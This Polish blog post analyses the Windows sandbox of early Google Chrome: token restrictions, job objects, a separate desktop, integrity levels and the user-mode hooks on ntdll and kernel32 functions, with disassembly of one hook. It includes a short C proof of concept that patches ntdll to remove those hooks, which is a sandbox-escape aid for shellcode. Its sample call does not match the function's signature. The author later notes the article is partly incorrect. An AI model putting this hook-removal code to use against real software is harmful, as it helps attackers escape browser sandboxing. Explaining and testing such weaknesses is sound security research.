Od kilku dni trwa dyskusja o niejako innowacyjnym pomyśle Google aby za każdy wyświetlany tab był odpowiedzialny osobny proces. Jak już pisałem wcześniej, mi osobiście ten pomysł się spodobał, więc postanowiłem skorzystać z open-source'owości Chrome i przyjrzeć mu się z bliska. Okazuje się że każdy renderer (czyli proces odpowiedzialny za pojedynczy tab) działa na maksymalnie ograniczonych prawach. Jak można przeczytać w wyżej zlinkowanym dokumencie, w użyciu są 4 Windowsowe mechanizmy (chwilowo nie miałem czasu się przyjrzeć Chrome na inne OSy):
Tokeny: Dostępne pozostają Logon SID (Mandatory) i NULL SID (S-1-0-0, Mandatory, Restricted), reszta SIDów jest Deny. Zostają również usunięte wszystkie prawa (Se*)
Job objects: Chyba wszystkie możliwe limity zostały wprowadzone - są limity na Desktop, Display Settings, Exit Windows, Global Atoms, USER Handles, Read/Write Clipboard, System Parameters i Administrator Access
Alternatywny pulpit: Dodatkowo proces podczepiony jest pod nowo-utworzony Desktop, dzięki czemu proces nie może wysyłać wiadomości do innych procesów które są na normalnym pulpicie
Poziom integralności: To akurat dostępne jest tylko na Viście - renderery działają na niskim integrity level
Dodatkowo panowie z Google zaimplementowali pewien mechanizm hooków na niektóre procedury z ntdll.dll, i kilka innych z kernel32.dll. Hooki są założone na następujące funkcje:
(NT) NtCreateFile
(NT) NtOpenFile
(NT) NtQueryAttributesFile
(NT) NtQueryFullAttributesFile
(NT) NtSetInformationFile
(NT) NtOpenThread
(NT) NtOpenProcess
(NT) NtOpenProcessToken
(NT) NtSetInformationThread
(NT) NtOpenThreadToken
(NT) NtOpenProcessTokenEx
(NT) NtOpenThreadTokenEx
(NT) NtCreateKey
(NT) NtOpenKey
(EAT) CreateNamedPipeW
(EAT) CreateProcessW
(EAT) CreateProcessA
(EAT) CreateEventW
(EAT) OpenEventW
(NT) NtMapViewOfSection
(NT) NtUnmapViefOfSection
Hooki które oznaczyłem jako NT są tak na prawdę inline-patchami umieszczonymi tuż przed wywołaniem SYSENTER. Przykładowy hook wygląda następująco:
; Założony hook
7C90DD7B > B8 7A000000 MOV EAX,7A ; Numer syscalla
7C90DD80 BA A5011500 MOV EDX,1501A5 ; Adres wrappera
7C90DD85 FFE2 JMP EDX ; Skok do 1501A5
7C90DD87 C2 1000 RETN 10 ; To się nigdy nie wykona
; Wrapper na handler hooka
001501A5 83EC 08 SUB ESP,8
001501A8 52 PUSH EDX
001501A9 8B5424 0C MOV EDX,DWORD PTR SS:[ESP+C]
001501AD 895424 08 MOV DWORD PTR SS:[ESP+8],EDX
001501B1 C74424 0C 900115>MOV DWORD PTR SS:[ESP+C],150190 ; Adres oryginału
001501B9 C74424 04 600D44>MOV DWORD PTR SS:[ESP+4],440D60 ; Adres handlera funkcji
001501C1 5A POP EDX
001501C2 C3 RETN
; Zarchiwizowany oryginalny kod
00150190 B8 7A000000 MOV EAX,7A
00150195 BA 0003FE7F MOV EDX,7FFE0300
0015019A FF12 CALL DWORD PTR DS:[EDX]
0015019C C2 1000 RETN 10
Wrapper i oryginalny kod jest umiejscowiony w dynamicznie zaalokowanej pamięci o niestałym adresie. Sam handler funkcji napisany jest w C++, a w źródle zazwyczaj ma prefix Target (np. TargetNtCreateFile). W momencie "złapania EIP" w hook, następuje przesłanie komunikatu z renderera do browsera z pytaniem, czy dana operacja (np. otwarcie pliku) może zostać wykonana. W zależności od decyzji browsera zwracany jest albo Access Denied, albo dana operacja jest wykonywana.
Powyższy mechanizm ma na celu oczywiście wprowadzić pewien layer bezpieczeństwa, tak aby utrudnić życie potencjalnemu atakującemu (a raczej jego shellcode'owi). Natomiast co tu dużo mówić, samo jego położenie (user mode) powoduje że mechanizm nie stanowi praktycznie żadnej przeszkody dla potencjalnego atakującego. Atakujący może albo posłużyć się bezpośrednio syscallami (o czym zresztą napisali panowie z Google w dokumentacji Chrome), albo po prostu zdjąć hook. Poniżej znajduje się kod PoC który zdejmuje hook z podanej procedury (dodam że jest dostosowany pod XP SP2, to tylko PoC):
void RemoveNtIntercept(LPCSTR FunctionName, BYTE Retn)
{
HINSTANCE NtDll = LoadLibraryA("ntdll.dll");
DWORD OldPriv;
DWORD FuncAddr = (DWORD)GetProcAddress(NtDll, FunctionName);
if(FuncAddr == 0) return;
FuncAddr += 6; // Skip 6 bytes (MOV EAX, SYSCALL_NUMBER + first byte of MOV EDX, SYSCALL_HANDLER)
VirtualProtect((LPVOID)FuncAddr, 10, PAGE_EXECUTE_READWRITE, &OldPriv);
*((DWORD*)(FuncAddr)) = 0x7FFE0300; // Restore original handler
*((DWORD*)(FuncAddr+4)) = 0xC212FF | (((DWORD)Retn << 24) & 0xFF000000) ; // call + retn
*((BYTE* )(FuncAddr+8)) = 0x00; // retn cd.
FreeLibrary(NtDll);
}
Przykładowe użycie wygląda następująco:
RemoveNtIntercept(output, "NtCreateFile", 0x2C);
Co tu dużo mówić. Kod jest dość krótki, niezbyt piękny, ale z hookami radzi sobie całkiem nieźle. Szczerze mówiąc z jednej strony sam pomysł z hookami mi się podoba (warto btw rzucić okiem na kod, jest ładnie napisany, i do tego na licencji BSD ;>), ale z drugiej strony, jako zabezpieczenie jest Vulnerable By Design.
Zachęcam do zabawy z Sandboxem. Ichni sandbox_poc jest dość łatwy do skompilowania i umożliwia potestowanie sandboxa bez konieczności babrania się ze stosunkowo dużym Chrome.
Na zakończenie postu kilka ciekawostek które znalazłem przeglądając Chrome. Na początek kilka zabawnych nazw funkcji z pliku testowego chromium\src\sandbox\src\interception_unittest.cc:
interceptions.AddToPatchedFunctions(L"kernel32.dll", "SomeFileEx",
INTERCEPTION_SMART_SIDESTEP, function);
interceptions.AddToPatchedFunctions(L"b.dll",
"TheIncredibleCallToSaveTheWorld", INTERCEPTION_EAT, function);
interceptions.AddToPatchedFunctions(L"a.dll", "BIsLame",
INTERCEPTION_EAT, function);
interceptions.AddToPatchedFunctions(L"a.dll", "ARules",
INTERCEPTION_EAT, function);
Kolejną sprawą jest fakt że do obsługi protokołu FTP Chrome korzysta z WinAPI, przez co logując się na FTP wysyła następujące dane:
USER anonymous
PASS IEUser@
Cóż. Prawie jak IE ;>
Swoją drogą widziałem że dzisiaj był patchowany jakiś crash związany z FTP i datą modyfikacji plików. Czyżby kolejny remote DoS?
OK. Tyle na dziś.
UPDATE: Artykuł okazał się trochę nieprawidłowy. Polecam zapoznać się z tym postem.
Comments:
Add a comment: